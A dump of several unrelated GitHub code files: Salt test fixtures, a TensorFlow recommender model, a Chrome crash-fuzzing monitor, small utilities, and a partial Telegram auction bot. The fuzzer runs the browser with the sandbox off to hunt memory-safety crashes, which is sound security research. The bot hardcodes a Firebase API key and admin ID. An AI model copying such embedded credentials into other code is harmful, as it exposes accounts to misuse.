salt_proxy(salt_master, salt_proxy_factory):\n \"\"\"\n A running salt-proxy fixture\n \"\"\"\n assert salt_master.is_running()\n with salt_proxy_factory.started():\n yield salt_proxy_factory\n\n\n@pytest.fixture(scope=\"module\")\ndef deltaproxy_pillar_tree(salt_master, salt_delta_proxy_factory):\n \"\"\"\n Create the pillar files for controlproxy and two dummy proxy minions\n \"\"\"\n proxy_one, proxy_two = pytest.helpers.proxy.delta_proxy_minion_ids()\n top_file = \"\"\"\n base:\n {control}:\n - controlproxy\n {one}:\n - {one}\n {two}:\n - {two}\n \"\"\".format(\n control=salt_delta_proxy_factory.id,\n one=proxy_one,\n two=proxy_two,\n )\n controlproxy_pillar_file = \"\"\"\n proxy:\n proxytype: deltaproxy\n ids:\n - {}\n - {}\n \"\"\".format(\n proxy_one, proxy_two\n )\n\n dummy_proxy_one_pillar_file = \"\"\"\n proxy:\n proxytype: dummy\n \"\"\"\n\n dummy_proxy_two_pillar_file = \"\"\"\n proxy:\n proxytype: dummy\n \"\"\"\n\n top_tempfile = salt_master.pillar_tree.base.temp_file(\"top.sls\", top_file)\n controlproxy_tempfile = salt_master.pillar_tree.base.temp_file(\n \"controlproxy.sls\", controlproxy_pillar_file\n )\n dummy_proxy_one_tempfile = salt_master.pillar_tree.base.temp_file(\n \"{}.sls\".format(proxy_one), dummy_proxy_one_pillar_file\n )\n dummy_proxy_two_tempfile = salt_master.pillar_tree.base.temp_file(\n \"{}.sls\".format(proxy_two), dummy_proxy_two_pillar_file\n )\n with top_tempfile, controlproxy_tempfile, dummy_proxy_one_tempfile, dummy_proxy_two_tempfile:\n yield\n\n\n@pytest.fixture(scope=\"module\")\ndef salt_delta_proxy(salt_master, salt_delta_proxy_factory, deltaproxy_pillar_tree):\n \"\"\"\n A running salt-proxy fixture\n \"\"\"\n assert salt_master.is_running()\n with salt_delta_proxy_factory.started():\n yield salt_delta_proxy_factory\n","repo_name":"vanpilog/salt","sub_path":"tests/pytests/integration/proxy/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4863778591","text":"import tensorflow as tf\n\n_BIAS_VARIABLE_NAME = \"bias\"\n_USER_WEIGHT_VARIABLE_NAME = \"users\"\n_ITEMS_WEIGHTS_VARIABLE_NAME = \"items\"\n\nimport six\nimport json\nimport copy\nfrom tensorflow.python.ops.rnn_cell_impl import *\n\n\nclass CollaborativeRNN2RecConfig(object):\n \"\"\"Configuration for `CollaborativeRNN2Rec Model`.\"\"\"\n\n def __init__(self,\n user_size,\n item_size,\n chunk_size,\n batch_size=1,\n num_hidden_layers=12):\n\n \"\"\"Constructs RNN2RecConfig.\n Args:\n user_size: Vocabulary size of `user_ids`.\n item_size: Vocabulary size of `item_ids`.\n chunk_size: Length of sequence\n batch_size: Size of batches in training.\n num_hidden_layers: Number of hidden layers in the RNN sequence.\n \"\"\"\n self.user_size = user_size\n self.item_size = item_size\n self.chunk_size = chunk_size\n self.batch_size= batch_size\n self.num_hidden_layers = num_hidden_layers\n\n @classmethod\n def from_dict(cls, json_object):\n \"\"\"Constructs a `CollaborativeRNN2RecConfig` from a Python dictionary of parameters.\"\"\"\n config = CollaborativeRNN2RecConfig(user_size=None, item_size=None, chunk_size=None)\n for (key, value) in six.iteritems(json_object):\n config.__dict__[key] = value\n return config\n\n @classmethod\n def from_json_file(cls, json_file):\n \"\"\"Constructs a `CollaborativeRNN2RecConfig` from a json file of parameters.\"\"\"\n with tf.io.gfile.GFile(json_file, \"r\") as reader:\n text = reader.read()\n return cls.from_dict(json.loads(text))\n\n def to_dict(self):\n \"\"\"Serializes this instance to a Python dictionary.\"\"\"\n output = copy.deepcopy(self.__dict__)\n return output\n\n def to_json_string(self):\n \"\"\"Serializes this instance to a JSON string.\"\"\"\n return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"\n\n\nclass CollaborativeGRUCell(LayerRNNCell):\n \"\"\"Gated Recurrent Unit cell.\n\n Note that this cell is not optimized for performance. Please use\n `tf.contrib.cudnn_rnn.CudnnGRU` for better performance on GPU, or\n `tf.contrib.rnn.GRUBlockCellV2` for better performance on CPU.\n\n Args:\n num_units: int, The number of units in the GRU cell.\n activation: Nonlinearity to use. Default: `tanh`.\n reuse: (optional) Python boolean describing whether to reuse variables in an\n existing scope. If not `True`, and the existing scope already has the\n given variables, an error is raised.\n kernel_initializer: (optional) The initializer to use for the weight and\n projection matrices.\n bias_initializer: (optional) The initializer to use for the bias.\n name: String, the name of the layer. Layers with the same name will share\n weights, but to avoid mistakes we require reuse=True in such cases.\n dtype: Default dtype of the layer (default of `None` means use the type of\n the first input). Required when `build` is called before `call`.\n **kwargs: Dict, keyword named properties for common layer attributes, like\n `trainable` etc when constructing the cell from configs of get_config().\n\n References:\n Learning Phrase Representations using RNN Encoder Decoder for Statistical\n Machine Translation:\n [Cho et al., 2014]\n (https://aclanthology.coli.uni-saarland.de/papers/D14-1179/d14-1179)\n ([pdf](http://emnlp2014.org/papers/pdf/EMNLP2014179.pdf))\n \"\"\"\n\n def __init__(self,\n num_units,\n num_users,\n num_items,\n activation=None,\n reuse=None,\n kernel_initializer=None,\n bias_initializer=None,\n name=None,\n dtype=None,\n **kwargs):\n super(CollaborativeGRUCell, self).__init__(\n _reuse=reuse, name=name, dtype=dtype, **kwargs)\n _check_supported_dtypes(self.dtype)\n\n if tf.executing_eagerly() and context.num_gpus() > 0:\n logging.warn(\n \"%s: Note that this cell is not optimized for performance. \"\n \"Please use tf.contrib.cudnn_rnn.CudnnGRU for better \"\n \"performance on GPU.\", self)\n # Inputs must be 2-dimensional.\n self.input_spec = input_spec.InputSpec(ndim=2)\n\n self._num_units = num_units\n self._num_users = num_users\n self._num_items = num_items\n if activation:\n self._activation = activations.get(activation)\n else:\n self._activation = math_ops.tanh\n self._kernel_initializer = initializers.get(kernel_initializer)\n self._bias_initializer = initializers.get(bias_initializer)\n\n @property\n def state_size(self):\n return self._num_units\n\n @property\n def output_size(self):\n return self._num_units\n\n @tf_utils.shape_type_conversion\n def build(self, inputs_shape):\n if inputs_shape[-1] is None:\n raise ValueError(\"Expected inputs.shape[-1] to be known, saw shape: %s\" %\n str(inputs_shape))\n _check_supported_dtypes(self.dtype)\n input_depth = inputs_shape[-1]\n self._gate_kernel_users = self.add_weight(\n \"gates/%s\" % _USER_WEIGHT_VARIABLE_NAME,\n shape=[self._num_users + 1, self._num_units, 2 * self._num_units],\n initializer=self._kernel_initializer)\n self._gate_kernel_items = self.add_weight(\n \"gates/%s\" % _ITEMS_WEIGHTS_VARIABLE_NAME,\n shape=[self._num_items + 1, 2 * self._num_units],\n initializer=self._kernel_initializer)\n self._gate_bias = self.add_weight(\n \"gates/%s\" % _BIAS_VARIABLE_NAME,\n shape=[2 * self._num_units],\n initializer=(self._bias_initializer\n if self._bias_initializer is not None else\n init_ops.constant_initializer(1.0, dtype=self.dtype)))\n self._candidate_kernel_users = self.add_variable(\n \"candidate/%s\" % _USER_WEIGHT_VARIABLE_NAME,\n shape=[self._num_users + 1, self._num_units, self._num_units],\n initializer=self._kernel_initializer)\n self._candidate_kernel_items = self.add_variable(\n \"candidate/%s\" % _ITEMS_WEIGHTS_VARIABLE_NAME,\n shape=[self._num_items + 1, self._num_units],\n initializer=self._kernel_initializer)\n self._candidate_bias = self.add_weight(\n \"candidate/%s\" % _BIAS_VARIABLE_NAME,\n shape=[self._num_units],\n initializer=(self._bias_initializer\n if self._bias_initializer is not None else\n init_ops.zeros_initializer(dtype=self.dtype)))\n\n self.built = True\n\n def call(self, inputs, state):\n \"\"\"Gated recurrent unit (GRU) with nunits cells.\"\"\"\n _check_rnn_cell_input_dtypes([inputs, state])\n\n w_hidden_u = tf.nn.embedding_lookup(self._gate_kernel_users, tf.cast(inputs[:, 0], tf.int32))\n w_input_i = tf.nn.embedding_lookup(self._gate_kernel_items, tf.cast(inputs[:, 1], tf.int32))\n res_h = tf.matmul(tf.expand_dims(state, 1), w_hidden_u)\n\n gate_inputs = nn_ops.bias_add(res_h, self._gate_bias)\n\n value = math_ops.sigmoid((tf.squeeze(gate_inputs, [1]) + w_input_i))\n r, u = array_ops.split(value=value, num_or_size_splits=2, axis=1)\n\n r_state = r * state\n\n w_hidden_u = tf.nn.embedding_lookup(self._candidate_kernel_users, tf.cast(inputs[:, 0], tf.int32))\n w_input_i = tf.nn.embedding_lookup(self._candidate_kernel_items, tf.cast(inputs[:, 1], tf.int32))\n\n res_h = tf.matmul(tf.expand_dims(state, 1), w_hidden_u)\n candidate = nn_ops.bias_add(res_h, self._candidate_bias)\n\n c = self._activation(tf.squeeze(candidate, [1]) + w_input_i)\n new_h = u * state + (1 - u) * c\n return new_h, new_h\n\n def get_config(self):\n config = {\n \"num_units\": self._num_units,\n \"kernel_initializer\": initializers.serialize(self._kernel_initializer),\n \"bias_initializer\": initializers.serialize(self._bias_initializer),\n \"activation\": activations.serialize(self._activation),\n \"reuse\": self._reuse,\n }\n base_config = super(CollaborativeGRUCell, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\ndef _check_supported_dtypes(dtype):\n if dtype is None:\n return\n dtype = dtypes.as_dtype(dtype)\n if not (dtype.is_floating or dtype.is_complex or dtype.is_integer):\n raise ValueError(\"RNN cell only supports floating point inputs, \"\n \"but saw dtype: %s\" % dtype)\n\n\ndef _check_rnn_cell_input_dtypes(inputs):\n \"\"\"Check whether the input tensors are with supported dtypes.\n\n Default RNN cells only support floats and complex as its dtypes since the\n activation function (tanh and sigmoid) only allow those types. This function\n will throw a proper error message if the inputs is not in a supported type.\n\n Args:\n inputs: tensor or nested structure of tensors that are feed to RNN cell as\n input or state.\n\n Raises:\n ValueError: if any of the input tensor are not having dtypes of float or\n complex.\n \"\"\"\n for t in nest.flatten(inputs):\n _check_supported_dtypes(t.dtype)\n\n\nclass CollaborativeRNNModel(tf.keras.Model):\n \"\"\"CollaborativeRNN model (\"Collaborative Recurrent Neural Networks for Dynamic Recommender Systems\").\n\n Example usage:\n ```python\n # Already been converted into WordPiece token ids\n input_ids = tf.constant([[31, 51, 99], [15, 5, 0]])\n input_mask = tf.constant([[1, 1, 1], [1, 1, 0]])\n token_type_ids = tf.constant([[0, 0, 1], [0, 2, 0]])\n config = modeling.BertConfig(vocab_size=32000, hidden_size=512,\n num_hidden_layers=8, num_attention_heads=6, intermediate_size=1024)\n model = modeling.BertModel(config=config, is_training=True,\n input_ids=input_ids, input_mask=input_mask, token_type_ids=token_type_ids)\n label_embeddings = tf.get_variable(...)\n logits = tf.matmul(pooled_output, label_embeddings)\n ...\n ```\n \"\"\"\n\n def __init__(self, config, *args, **kwargs):\n \"\"\"Constructor for CollaborativeRNNModel.\n\n Args:\n config: `CollaborativeRNN2RecConfig` instance.\n is_training: bool. rue for training model, false for eval model. Controls\n whether dropout will be applied.\n input_ids: int32 Tensor of shape [batch_size, seq_length].\n input_mask: (optional) int32 Tensor of shape [batch_size, seq_length].\n token_type_ids: (optional) int32 Tensor of shape [batch_size, seq_length].\n use_one_hot_embeddings: (optional) bool. Whether to use one-hot word\n embeddings or tf.embedding_lookup() for the word embeddings. On the TPU,\n it is must faster if this is True, on the CPU or GPU, it is faster if\n this is False.\n scope: (optional) variable scope. Defaults to \"bert\".\n Raises:\n ValueError: The config is invalid or one of the input tensor shapes is invalid.\n \"\"\"\n\n super(CollaborativeRNNModel, self).__init__(*args, **kwargs)\n self.config= config\n self.cell = CollaborativeGRUCell(\n num_units=config.num_hidden_layers,\n num_users=config.user_size,\n num_items=config.item_size)\n self._initial_state = self.cell.zero_state(\n batch_size=config.batch_size,\n dtype=tf.float32)\n self.states = tf.keras.layers.RNN(\n self.cell,\n return_state=True,\n return_sequences=True)\n self.ws = self.add_weight(\n name=\"weight\",\n shape=[config.num_hidden_layers, config.item_size + 1],\n dtype=tf.float32,\n trainable=True)\n\n def call(self, inputs, training=True):\n # Compute the states and final state for each element of the batch.\n states, final_states = self.states(inputs, initial_state=self._initial_state)\n\n # Output layer.\n # `output` has shape (batch_size * chunk_size, hidden_size).\n output = tf.reshape(tf.concat(states, axis=1), [-1, self.config.num_hidden_layers])\n\n # `logits` has shape (batch_size * chunk_size, num_items).\n logits = tf.matmul(output, self.ws)\n return logits\n\n @property\n def initial_state(self):\n return self._initial_state\n\n @initial_state.setter\n def initial_state(self, value):\n self._initial_state = value","repo_name":"CoronaScience/RetailrocketRecommenderSystemDataset","sub_path":"src/main/python/recommendator/CollaborativeGRUCell/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":12246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"31220834460","text":"# monitor\nimport subprocess\nimport os\nimport time\nimport datetime\nimport threading\nimport shutil\nimport argparse\nimport Dashboard\n\nBROWSER_PATH = ''\n\nMETHOD = None\n\nURL = \"http://127.0.0.1:8080/flag?\" \nMODE1 = \"--incognito\" # 시크릿 모드\nMODE2 = \"--no-sandbox\" # 샌드박스 비활성화\nMODE3 = \"--user-data-dir=./tmp\" # debug모드를 할때 FATAL에러 나는걸 피할 수 있다.\nTIMEOUT = 300 # 5min\nBROWSER_PID= 0\np = None\n\nRUN_FLAG = False\ndef main():\n global RUN_FLAG, DASHBOARD, METHOD, p \n while(1):\n if RUN_FLAG:\n continue\n RUN_FLAG = True\n\n chrome_env = os.environ.copy() # ubuntu\n chrome_env['ASAN_OPTIONS'] = \"detect_leaks=0,detect_odr_violation=0\" # ubuntu\n\n cmd = []\n cmd.append(BROWSER_PATH)\n cmd.append(URL)\n cmd.append(MODE1)\n cmd.append(MODE2)\n cmd.append(MODE3)\n cmd = \" \".join(cmd) # join으로 cmd를 주지 않으면 windows에서와는 다르게 URL 입력이 제대로 되지 않는다.\n p = subprocess.Popen(cmd, env=chrome_env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1, close_fds=True, shell=True, preexec_fn=os.setsid) \n\n BROWSER_PID = p.pid\n DASHBOARD.Chrome_PID = BROWSER_PID \n while(p.poll() is None): # p.poll()은 일하고있으면 None을 리턴함. 일을 마치면 0리턴\n line = p.stderr.readline()\n if (\n (b\"AddressSanitizer\" in line) \n or \n (b\"Check failed:\".lower() in line.lower()) # for debug mode # case ignore # Check failed:, (dcheck failed:) \n or\n (b\"dcheck\" in line.lower()) # for debug mode \n ): \n \n # testcase\n now_time = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n testcase_copy = './log/crash_%s_'+now_time+'.html' \n shutil.copy2('./templates/test.html', testcase_copy % METHOD)\n\n # dashboard\n if((b\"AddressSanitizer\" in line)):\n DASHBOARD.CRSAH_COUNT += 1\n DASHBOARD.LASTEST_CRASH_TIME = now_time\n elif (b\"Check failed:\".lower() in line.lower()) or (b\"dcheck\" in line.lower()):\n DASHBOARD.DCHECK_COUNT += 1\n \n # crash log \n log_path = './log/crash_%s_'+now_time+'.log'\n with open(log_path % METHOD, \"wb\") as fp:\n fp.write(line)\n for line in p.stderr:\n fp.write(line)\n\n subprocess.call('pkill -9 chrome', shell=True)\n p.stderr.close()\n p.stdout.close()\n DASHBOARD.Chrome_COUNT += 1 \n\n time.sleep(1)\n RUN_FLAG = False\n\ndef argparse_init(): \n parser = argparse.ArgumentParser(description='Domino Monitor')\n parser.add_argument('--method', '-m', help='METHOD : normal : Template Based Domato Fuzzing, iframe : Template Based Domato iframe Fuzzing', default='normal')\n \n return parser\n\ndef set_fuzzing_type(parser): \n global URL, METHOD\n args = parser.parse_args()\n if(args.method == 'normal'):\n URL += 'test'\n METHOD = 'normal'\n elif(args.method == 'iframe'):\n URL += 'iframe_test'\n METHOD = 'iframe'\n else:\n parser.print_help()\n os._exit(1)\n\nif __name__ == '__main__':\t\n if(BROWSER_PATH == ''):\n print(\"[!] Please set the BROWSER_PATH.\")\n exit(1)\n \n parser = argparse_init() \n set_fuzzing_type(parser)\n\n try:\n DASHBOARD = Dashboard.Dashboard()\n watch_testcase_name = None\n if (METHOD == 'normal'):\n watch_testcase_name = 'test.html'\n elif(METHOD == 'iframe'):\n watch_testcase_name = 'iframe_tc.html'\n DASHBOARD.run_dashboard('./templates/'+watch_testcase_name)\n\n while True:\n browser_run_thread = threading.Thread(target=main)\n\n browser_run_thread.start()\n browser_run_thread.join(TIMEOUT) # set timeout 5분 대기\n\n if browser_run_thread.is_alive():\n subprocess.call('pkill -9 chrome', shell=True)\n p.stderr.close()\n p.stdout.close()\n DASHBOARD.Chrome_COUNT += 1 \n # print(\"Restart!\")\n time.sleep(1)\n RUN_FLAG = False\n except KeyboardInterrupt:\n os._exit(0)","repo_name":"BOB-Jour/Domino_Fuzzer","sub_path":"run_fuzz_ubuntu.py","file_name":"run_fuzz_ubuntu.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"15289425034","text":"class Solution:\n def longestSubsequence(self, arr: List[int], difference: int) -> int:\n n = len(arr) \n dic = {}\n dp = [1]*n\n \n dp[0] = 1\n dic[arr[0]] = 0\n for i in range(1,n):\n if (arr[i]-difference) in dic:\n dp[i] = dp[dic[arr[i]-difference]] + 1\n dic[arr[i]] = i\n # print(dp) \n return max(dp)\n","repo_name":"berserkin1337/leetcode","sub_path":"1218-longest-arithmetic-subsequence-of-given-difference/1218-longest-arithmetic-subsequence-of-given-difference.py","file_name":"1218-longest-arithmetic-subsequence-of-given-difference.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33598584642","text":"from . import views\nfrom .views import *\nfrom django.urls import path, include\nfrom rest_framework import routers\nfrom rest_framework.authtoken.views import obtain_auth_token\n\nrouter = routers.DefaultRouter()\nrouter.register(r'users', UserViewSet) # when we go to /api/users, load the users json\nrouter.register(r'albums', AlbumViewSet)\n\nurlpatterns = [\n path('', views.index, name=\"index\"),\n path('all_albums/', views.all_albums, name=\"all albums\"),\n path('single_album/', views.single_album, name=\"single album\"),\n path('album_form/', views.album_form, name=\"album form\"),\n path('causer_signup/', views.CaUserSignupView.as_view(), name=\"register\"),\n path('node_signup/', views.node_signup, name=\"sign_up\"),\n path('admin_signup/', views.AdminSignupView.as_view(), name=\"register admin\"),\n path('login/', views.Login.as_view(template_name=\"login.html\", authentication_form=UserLoginForm), name=\"login\"),\n path('logout/', views.logout_view, name=\"logout\"),\n path('add_to_basket/', views.add_to_basket, name=\"add_to_basket\"),\n path('remove_from_basket/', views.remove_from_basket, name=\"remove_from_basket\"),\n path('view_basket', views.view_basket, name=\"your_basket\"),\n path('order_form/', views.order_form, name=\"order_form\"),\n path('admin_page/', views.admin_page, name=\"admin_page\"),\n path('user_page/', views.user_page, name=\"admin_page\"),\n path('view_orders/', views.view_orders, name=\"view_orders\"),\n path('api-auth/', include('rest_framework.urls')),\n path('api/', include(router.urls)), # localhost api will be entrypoint to our REST api\n path('token/', obtain_auth_token, name=\"api_token_auth\"),\n]\n","repo_name":"DGuigan/disc_pirate","sub_path":"disc_pirate/disc_pirate_store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74734684838","text":"import json\nimport os\n\nfrom conf.settings import (\n DATA_PATH\n)\n\n\n\n\ndef save_as_jsonl(data, name_of_file):\n '''\n input:\n data (list[json]) : input data to be saved\n path (str) : path to save jsonl\n '''\n\n path_to_save = os.path.join(DATA_PATH, name_of_file)\n with open(path_to_save, \"w\") as f:\n \n for i in data:\n f.write(json.dumps(i, ensure_ascii=False)+\"\\n\")\n","repo_name":"njndtu/LangCalc","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28033189672","text":"# -*- coding: utf-8 -*-\n\nimport config\nimport telebot\nfrom telebot import types, TeleBot\nimport pyrebase\nimport time\nimport datetime\n\n\nconfigFirebase = {\n \"apiKey\": \"AIzaSyCSO1622ymqxT1S3VzgOzT5pFM8UTyBrTs\",\n \"authDomain\": \"auction-bot-56f9c.firebaseapp.com\",\n \"databaseURL\": \"https://auction-bot-56f9c-default-rtdb.europe-west1.firebasedatabase.app\",\n \"storageBucket\": \"auction-bot-56f9c.appspot.com\"\n}\n\nfirebase = pyrebase.initialize_app(configFirebase)\ndb = firebase.database()\nbot: TeleBot = telebot.TeleBot(config.token)\n\n\ndef getAuctions():\n try:\n auctions = db.child('auctions').get()\n all_auctions = list(auctions.val().keys())\n active_auctions = []\n for a in all_auctions:\n if db.child('auctions').child(a).child('active').get().val() == 1:\n active_auctions.append(a)\n return active_auctions\n except:\n return ['Немає поточних аукціонів']\n\n\ndef getWorks(auction):\n try:\n work = db.child(\"auctions\").child(auction).child('art').get()\n return list(work.val().keys())\n except:\n return ['Немає робіт']\n\ndef finish_auction(message, auction):\n db.child('auctions').child(auction).child('active').set(0)\n\ndef get_auction_by_name(name):\n auctions = db.child(\"auctions\").get()\n auctions_dict = dict(auctions.val())\n for auction in auctions_dict:\n if auctions_dict[auction]['name'] == name:\n return auction\n\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True)\n bot.send_message(message.chat.id, 'Вітаю тебе! Я допоможу тобі придбати трохи мистецтва. '\n 'Зараз ти можеш взяти учать в таких аукціонах:')\n buttons = []\n buttons.extend(getAuctions())\n try:\n buttons.remove('Немає поточних аукціонів')\n except:\n pass\n if message.chat.id == 54778970:\n buttons.append('Створити аукціон')\n keyboard.add(*[types.KeyboardButton(auction) for auction in buttons])\n for auction in getAuctions():\n bot.send_message(message.chat.id, auction, reply_markup=keyboard)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Повернутися до аукціонів')\ndef to_start(message):\n start(message)\n\n\n@bot.message_handler(func=lambda message: message.text in getAuctions())\ndef choose_category(message):\n bot.send_message(message.chat.id, db.child('auctions').child(message.text).child('description').get().val())\n bot.send_message(message.chat.id, '🕐 Аукціон завершується ' + time.strftime('%d.%m.%y %H:%M', time.gmtime(db.child('auctions').child(message.text).child('date_of_end').get().val())))\n bot.send_message(message.chat.id, 'На аукціоні представлені наступні роботи:')\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n emoji = ['🔴','🟠','🟡','🟢','🔵','🟣','⚫','⚪','️🟤']\n i = 0\n works = ''\n for work in getWorks(message.text):\n markup.add(work)\n element = emoji[i] + ' ' + work\n works += element + '\\n' + '\\n'\n i += 1\n if i == 9:\n i = 0\n bot.send_message(message.chat.id, works)\n if message.chat.id == 54778970:\n markup.add('Додати роботу')\n markup.add('Завершити аукціон')\n markup.add('Контактувати з переможцями')\n markup.add('Повернутися до аукціонів')\n msg = bot.send_message(message.chat.id, 'Яка робота вас цікавить?', reply_markup=markup)\n bot.register_next_step_handler(msg, trade_1, message.text)\n\n\ndef trade_1(message, auction):\n if message.text == 'Повернутися до аукціонів':\n start(message)\n elif message.text == 'Завершити аукціон':\n finish_auction(message, auction)\n elif message.text == 'Додати роботу':\n add_art_1(message, auction)\n elif message.text == 'Контактувати з переможцями':\n negotiate(message, auction)\n else:\n art = dict(db.child('auctions').child(auction).child('art').child(message.text).get().val())\n bot.send_message(message.chat.id, art['name'])\n bot.send_photo(message.chat.id, art['pic_url'])\n highest_bid = art['bids']['start_bid']\n highest_bidder_id = 0\n try:\n for bid in art['bids']:\n if int(art['bids'][bid]['value']) > int(highest_bid['value']):\n highest_bid = art['bids'][bid]\n highest_bidder_id = art['bids'][bid]['id']\n except Exception as e:\n print(e)\n bot.send_message(message.chat.id, '💰 Поточна ставка ' + str(highest_bid['value']) + ' грн')\n if message.chat.id == highest_bidder_id:\n bot.send_message(message.chat.id, 'І це ваша ставка')\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n bt1 = types.KeyboardButton('🖐 Зробити ставку')\n markup.add(bt1)\n markup.add('Повернутися до вибору робіт')\n msg = bot.send_message(message.chat.id,\n 'Бажаєте зробити ставку?',\n reply_markup=markup)\n bot.register_next_step_handler(msg, make_bid, auction, art, highest_bid, highest_bidder_id)\n\n\ndef make_bid(message, auction, art, highest_bid, highest_bidder_id):\n if message.text == 'Повернутися до вибору робіт':\n message.text = auction\n choose_category(message)\n else:\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add('Повернутися до вибору робіт')\n msg = bot.reply_to(message, 'За яку суму бажаєте купити цю роботу?', reply_markup=markup)\n bot.register_next_step_handler(msg, accept_bid, auction, art, highest_bid, highest_bidder_id)\n\n\ndef accept_bid(message, auction, art, highest_bid, highest_bidder_id):\n if message.text == 'Повернутися до вибору робіт':\n message.text = auction\n choose_category(message)\n else:\n try:\n if int(message.text) > int(highest_bid['value']):\n bot.send_message(message.chat.id, '✅ Ваша ставка прийнята. Після завершення аукціону ми повідомимо '\n 'вас про результати', reply_markup=types.ReplyKeyboardRemove())\n full_bid = {'id': message.chat.id, 'value': int(message.text)}\n db.child('auctions').child(auction).child('art').child(art['name']).child('bids').push(full_bid)\n print(highest_bidder_id)\n if highest_bidder_id != 0:\n bot.send_message(highest_bidder_id, '⚡️ Ваша ставка на аукціоні ' + auction + ' на роботу ' + art['name'] + ' була перебита\\n'\n 'Нова ставка - ' + str(message.text) + ' грн\\n'\n 'Якщо бажаєте поборотись за цю роботу, оновіть вашу ставку!'\n 'Аукціон завершується ' + time.strftime('%d.%m.%y %H:%M', time.gmtime(db.child('auctions').child(auction).child('date_of_end').get().val())))\n bot.send_message(54778970, '❗️ Зроблено ставку ' + auction + ' ' + art['name'] + ' ' + str(message.text) + ' ' + str(highest_bidder_id))\n time.sleep(2)\n start(message)\n else:\n bot.send_message(message.chat.id, '❌ Ваша ставка менша за поточну максимальну',\n reply_markup=types.ReplyKeyboardRemove())\n make_bid(message, auction, art, highest_bid, highest_bidder_id)\n except Exception as e:\n print('Something wrong with your bet', e)\n bot.send_message(message.chat.id, '❌ Ставка не прийнята. Використовуйте лише цифри')\n make_bid(message, auction, art, highest_bid, highest_bidder_id)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Створити аукціон')\ndef add_auction(message):\n msg = bot.reply_to(message, 'Введіть назву аукціону', reply_markup=types.ReplyKeyboardRemove())\n bot.register_next_step_handler(msg, add_description)\n\n\ndef add_description(message):\n auction = {'name': message.text}\n msg = bot.reply_to(message, 'Введіть повний опис аукціону')\n bot.register_next_step_handler(msg, add_date, auction)\n\n\ndef add_date(message):\n auction = {'description': message.text}\n msg = bot.reply_to(message, 'Введіть дату початку аукціону у форматі DD.MM.YYYY HH.MM')\n bot.register_next_step_handler(msg, add_date_end, auction)\n\n\ndef add_date_end(message, auction):\n try:\n time_split_1 = message.text.split(' ')\n time_split_date = time_split_1[0].split('.')\n time_split_time = time_split_1[1].split('.')\n d = datetime.datetime(int(time_split_date[2]), int(time_split_date[1]), int(time_split_date[0]), int(time_split_time[0]), int(time_split_time[1]), 0)\n unixtime = time.mktime(d.timetuple())\n auction['date_of_start'] = int(unixtime)\n\n except Exception as ex:\n bot.send_message(message.chat.id, 'Якась проблема з вводом часу')\n print(ex)\n start(message)\n\n msg = bot.reply_to(message, 'Введіть дату кінця аукціону у форматі DD.MM.YYYY HH.MM')\n bot.register_next_step_handler(msg, add_art, auction)\n\n\ndef add_art(message, auction):\n try:\n time_split_1 = message.text.split(' ')\n time_split_date = time_split_1[0].split('.')\n time_split_time = time_split_1[1].split('.')\n d = datetime.datetime(int(time_split_date[2]), int(time_split_date[1]), int(time_split_date[0]),\n int(time_split_time[0]), int(time_split_time[1]), 0)\n unixtime = time.mktime(d.timetuple())\n auction['date_of_end'] = int(unixtime)\n except Exception as ex:\n bot.send_message(message.chat.id, 'Якась проблема з вводом часу')\n print(ex)\n start(message)\n try:\n db.child(\"auctions\").child(auction['name']).set(auction)\n except Exception as ex:\n bot.send_message(message.chat.id, 'Сталась помилка створення аукціону')\n print(ex)\n keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True)\n bot.send_message(message.chat.id, 'Зараз на аукціоні представлені наступні роботи:')\n try:\n auctionID = get_auction_by_name(auction['name'])\n for work in getWorks(auctionID):\n bot.send_message(message.chat.id, work)\n\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n bt1 = types.KeyboardButton('Додати роботу')\n markup.add(bt1)\n markup.add('Повернутися до аукціонів')\n msg = bot.send_message(message.chat.id,\n 'Додати?',\n reply_markup=markup)\n bot.register_next_step_handler(msg, add_art_1, auctionID)\n\n except Exception as ex:\n bot.send_message(message.chat.id, 'Сталась помилка з пошуком аукціону')\n print(ex)\n\n\ndef add_art_1(message, auctionID):\n if message.text == 'Повернутися до аукціонів':\n start(message)\n else:\n msg = bot.reply_to(message, 'Введіть назву та короткий опис роботи')\n bot.register_next_step_handler(msg, add_art_2, auctionID)\n\n\ndef add_art_2(message, auctionID):\n art = {'name': message.text}\n msg = bot.reply_to(message, 'Введіть стартову ціну в гривнях')\n bot.register_next_step_handler(msg, add_art_3, auctionID, art)\n\n\ndef add_art_3(message, auctionID, art):\n art['bids'] = {}\n art['bids']['start_bid'] = {}\n art['bids']['start_bid']['value'] = int(message.text)\n art['bids']['start_bid']['id'] = 0\n msg = bot.reply_to(message, 'Введіть посилання на зображення')\n bot.register_next_step_handler(msg, add_art_4, auctionID, art)\n\n\ndef add_art_4(message, auctionID, art):\n art['pic_url'] = message.text\n try:\n db.child('auctions').child(auctionID).child('art').child(art['name']).set(art)\n except Exception as ex:\n bot.send_message(message.chat.id, 'Сталась 